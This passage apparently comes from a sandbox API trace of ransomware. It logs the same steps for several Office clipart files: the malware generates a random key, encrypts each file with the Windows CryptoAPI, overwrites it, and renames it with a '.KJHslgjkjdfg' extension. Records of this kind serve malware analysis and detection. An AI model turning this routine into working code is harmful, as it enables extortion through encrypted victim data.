hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x504a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09662_.WMF", cAlternateFileName="")) returned 1 [0193.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.357] GetProcessHeap () returned 0x2ef0000 [0193.357] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.357] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.357] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0193.359] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.359] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.359] GetProcessHeap () returned 0x2ef0000 [0193.359] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.359] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.359] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.359] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.360] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.360] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.360] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.360] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.360] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.360] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x504a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x504a, lpOverlapped=0x0) returned 1 [0193.361] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5050, dwBufLen=0x5050 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5050) returned 1 [0193.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.361] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5050, lpOverlapped=0x0) returned 1 [0193.362] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.362] SetEndOfFile (hFile=0x130) returned 1 [0193.364] GetProcessHeap () returned 0x2ef0000 [0193.364] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.364] GetProcessHeap () returned 0x2ef0000 [0193.364] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.364] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09662_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09662_.wmf.kjhslgjkjdfg")) returned 1 [0193.372] CloseHandle (hObject=0x130) returned 1 [0193.372] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD09664_.WMF", cAlternateFileName="")) returned 1 [0193.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.373] GetProcessHeap () returned 0x2ef0000 [0193.373] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.373] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.373] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.373] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0193.376] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.376] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.376] GetProcessHeap () returned 0x2ef0000 [0193.376] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.376] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.376] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.376] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.377] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.377] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.377] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.377] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.377] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.377] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.377] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.377] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1f1e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1f1e, lpOverlapped=0x0) returned 1 [0193.378] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20, dwBufLen=0x1f20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1f20) returned 1 [0193.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.378] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1f20, lpOverlapped=0x0) returned 1 [0193.378] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.378] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ff4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.378] SetEndOfFile (hFile=0x130) returned 1 [0193.381] GetProcessHeap () returned 0x2ef0000 [0193.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.381] GetProcessHeap () returned 0x2ef0000 [0193.381] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.381] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09664_.wmf.kjhslgjkjdfg")) returned 1 [0193.391] CloseHandle (hObject=0x130) returned 1 [0193.391] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c365a00, ftCreationTime.dwHighDateTime=0x1bd4f6a, ftLastAccessTime.dwLowDateTime=0x5f47ba90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4c365a00, ftLastWriteTime.dwHighDateTime=0x1bd4f6a, nFileSizeHigh=0x0, nFileSizeLow=0x34cb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10890_.GIF", cAlternateFileName="")) returned 1 [0193.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.391] GetProcessHeap () returned 0x2ef0000 [0193.391] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.392] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.392] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0193.397] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.397] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.397] GetProcessHeap () returned 0x2ef0000 [0193.397] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.397] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.397] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.397] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.397] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.398] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.398] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.398] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.398] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.398] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x34cb, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x34cb, lpOverlapped=0x0) returned 1 [0193.399] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34d0, dwBufLen=0x34d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x34d0) returned 1 [0193.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.399] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x34d0, lpOverlapped=0x0) returned 1 [0193.399] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.399] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x35a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.399] SetEndOfFile (hFile=0x130) returned 1 [0193.400] GetProcessHeap () returned 0x2ef0000 [0193.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.400] GetProcessHeap () returned 0x2ef0000 [0193.400] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.kjhslgjkjdfg")) returned 1 [0193.411] CloseHandle (hObject=0x130) returned 1 [0193.411] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93701b00, ftCreationTime.dwHighDateTime=0x1bd4f69, ftLastAccessTime.dwLowDateTime=0x517da370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93701b00, ftLastWriteTime.dwHighDateTime=0x1bd4f69, nFileSizeHigh=0x0, nFileSizeLow=0x4edd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD10972_.GIF", cAlternateFileName="")) returned 1 [0193.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.413] GetProcessHeap () returned 0x2ef0000 [0193.413] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.413] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.413] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0193.416] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.416] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.416] GetProcessHeap () returned 0x2ef0000 [0193.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.416] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.416] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.416] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.417] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.417] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.417] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.417] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.417] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.417] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4edd, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4edd, lpOverlapped=0x0) returned 1 [0193.418] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ee0, dwBufLen=0x4ee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ee0) returned 1 [0193.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.419] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ee0, lpOverlapped=0x0) returned 1 [0193.419] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.419] SetEndOfFile (hFile=0x130) returned 1 [0193.422] GetProcessHeap () returned 0x2ef0000 [0193.422] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.422] GetProcessHeap () returned 0x2ef0000 [0193.422] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.422] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.kjhslgjkjdfg")) returned 1 [0193.435] CloseHandle (hObject=0x130) returned 1 [0193.435] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6557800, ftCreationTime.dwHighDateTime=0x1bd4d57, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6557800, ftLastWriteTime.dwHighDateTime=0x1bd4d57, nFileSizeHigh=0x0, nFileSizeLow=0x4fe6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19563_.GIF", cAlternateFileName="")) returned 1 [0193.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.437] GetProcessHeap () returned 0x2ef0000 [0193.437] RtlAllocateHeap 